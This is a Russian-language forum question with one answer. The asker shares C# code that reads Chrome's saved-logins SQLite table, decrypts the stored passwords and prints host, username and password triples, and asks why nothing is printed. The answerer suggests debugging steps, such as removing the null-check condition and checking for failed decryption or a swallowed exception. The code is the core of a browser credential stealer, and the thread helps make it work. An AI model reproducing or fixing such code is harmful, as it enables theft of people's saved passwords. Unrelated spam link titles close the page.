Пытаюсь вытащить таблицу (host, login, pass)
public static SQLiteConnection connection;
public static SQLiteDataReader reader;
using (connection = new SQLiteConnection("DataSource=" + EngineChrome.browsers[y] + ";Version=3;New=True;Compress=True;"))
{
connection.Open();
SQLiteCommand command = new SQLiteCommand("SELECT * FROM logins", connection);
using (reader = command.ExecuteReader())
{
string host = null;
string user = null;
string pass = null;
while (reader.Read())
{
host = reader["origin_url"].ToString();
user = reader["username_value"].ToString();
pass = Chrome.Decrypt(Encoding.Default.GetBytes(reader["password_value"].ToString()));
if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
{
Console.WriteLine("{0},{1},{2}",host,user,pass);
}
}
}
}
Но на выходе ничего не получаю, [ошибок нету]
Как правильно получить данные?
С точки зрения синтаксиса и логики код корректен.
Как вариант, возможно, что косяк в условии:
if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
{
Console.WriteLine("{0},{1},{2}",host,user,pass);
}
Быть может в вашей базе нету таких строк, которые удоволитворяют сразу 3-ем условиям?
Или например, вы расшифровываете пароль и получаете NULL.
Попробуйте убрать условие и посмотреть что будет.
Или может быть ошибок нету из-за того, что у вас какой-нибудь глобальный try/catch стоит.
Современные инструменты для криптотрейдинга: как технологии помогают принимать решения
Апостиль в Лос-Анджелесе без лишних нервов и бумажной волокиты
Основные этапы разработки сайта для стоматологической клиники
Продвижение своими сайтами как стратегия роста и независимости